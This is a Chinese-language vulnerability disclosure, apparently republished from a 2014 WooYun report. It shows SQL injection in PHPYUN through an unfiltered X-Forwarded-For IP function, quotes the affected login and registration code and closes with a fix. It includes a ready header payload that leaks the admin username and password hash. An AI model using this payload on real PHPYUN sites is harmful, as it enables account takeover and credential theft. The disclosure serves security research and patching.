记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

PHPYUN多处SQL注入及快速定位(无视360防御)

2014-10-22 21:55

其他地方的估计被小伙伴们都挖完了,我们来看看不常被大家关注的地方

在QQ登陆这里

qqconnect.class.php文件

我们来看看qq登陆时,会绑定这个qq的相关信息:

code 区域
function qqbind_action()

{



if(($_GET['usertype']=='1' || $_GET['usertype']=='2') && $_SESSION['qq']['openid'])

{

$usertype = $_GET['usertype'];

$ip = $this->obj->fun_ip_get();

$time = time();

$salt = substr(uniqid(rand()), -6);

$pass = md5(md5($salt).$salt);

$username = $this->checkuser($_SESSION['qq']['nickname'],$_SESSION['qq']['nickname']);



$userid=$this->obj->DB_insert_once("member","`username`='$username',`password`='$pass',`usertype`='$usertype',`status`='1',`salt`='$salt',`reg_date`='$time',`reg_ip`='$ip',`qqid`='".$_SESSION['qq']['openid']."'");

if(!$userid)

{

$user = $this->obj->DB_select_once("member","`username`='".$username."'","`uid`");

$userid = $user['uid'];

$email = $user['email'];

}



phpyun里面get,post,cookie基本上被过滤的差不多了都

我们来看看这里的$ip = $this->obj->fun_ip_get();

/model/class/action.class.php

code 区域
function fun_ip_get() {

if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) {

$ip = getenv("HTTP_CLIENT_IP");

} else

if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) {

$ip = getenv("HTTP_X_FORWARDED_FOR");

} else

if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) {

$ip = getenv("REMOTE_ADDR");

} else

if (isset ($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) {

$ip = $_SERVER['REMOTE_ADDR'];

} else {

$ip = "unknown";

}

return ($ip);

}



奇怪,这里为什么没有任何防御咧?!!!

phpyun的小伙伴搞什么飞机哦!?

这么明显的XFF注入,怎么没有防御咧?!



好吧。。。

我们来看看还有没有其他地方使用了这个fun_ip_get函数:

111.png





来看看这里的login.class.php文件

code 区域
function loginsave_action()

{

$username=iconv("utf-8","gbk",$_POST['username']);



if($_COOKIE['uid']!=""&&$_COOKIE['username']!="")

{

$this->ajaxlogin($_POST['comid'],"您已经登陆了,您不是个人用户!");

echo "您已经登录了!";die;

}

......

$time = time();

$ip = $this->obj->fun_ip_get();

$this->obj->DB_update_all("member","`login_ip`='$ip',`login_date`='$time',`login_hits`=`login_hits`+1","`uid`='".$user['uid']."'");

$this->unset_cookie();

......



这里也存在SQL注入的



再来看看register.class.php文件

code 区域
function regsave_action(){

$_POST=$this->post_trim($_POST);

$_POST['username']=iconv("utf-8","gbk",$_POST['username']);

$_POST['unit_name']=iconv("utf-8","gbk",$_POST['unit_name']);

$_POST['address']=iconv("utf-8","gbk",$_POST['address']);

if($_COOKIE['uid']!=""&&$_COOKIE['username']!=""){

echo "8##您已经登录了!";die;

}

$usertype=$_POST['usertype'];

if(strstr($this->config['code_web'],'注册会员')){

if(md5($_POST['authcode'])!=$_SESSION['authcode']){

echo "8##验证码错误!";die;

}

}

......

$ip = $this->obj->fun_ip_get();

$data['username']=$_POST['username'];

$data['password']=$pass;

$data['moblie']=$_POST['moblie'];

$data['email']=$_POST['email'];

$data['usertype']=$_POST['usertype'];

$data['status']=$satus;

$data['salt']=$salt;

$data['reg_date']=time();

$data['reg_ip']=$ip;

$data['qqid']=$_SESSION['qq']['openid'];

$data['sinaid']=$_SESSION['sinaid'];

$userid=$this->obj->insert_into("member",$data);

......



但是这里的insert_into有过滤,无法注入成功,但是问题点依然存在。



通过上面的方法,找出全部使用此问题函数的地方,就能快速登陆到漏洞所在。

其他的就不一一验证了。

漏洞证明:

我们拿第一处QQ登陆看看

首先设置我们的X-Forwarded-For

code 区域
X-Forwarded-For:127.0.0.1',`email`=(select concat(username,0x23,password) from phpyun_admin_user limit 1)#



222.png



然后使用QQ登陆

我们来看看SQL执行日志:

333.png



然后登陆成功后用户的email就会被修改

444.png

修复方案:

有两个声明fun_ip_get函数的地方

/include/public.function.php

/model/class/action.class.php

第一个过滤,但是没在上面使用

第二个没过滤,使用在了上面的地方

所以这把第二个地方的函数过滤处理就ok了。

知识来源: www.wooyun.org/bugs/wooyun-2014-069541

阅读:70348 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“PHPYUN多处SQL注入及快速定位(无视360防御)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词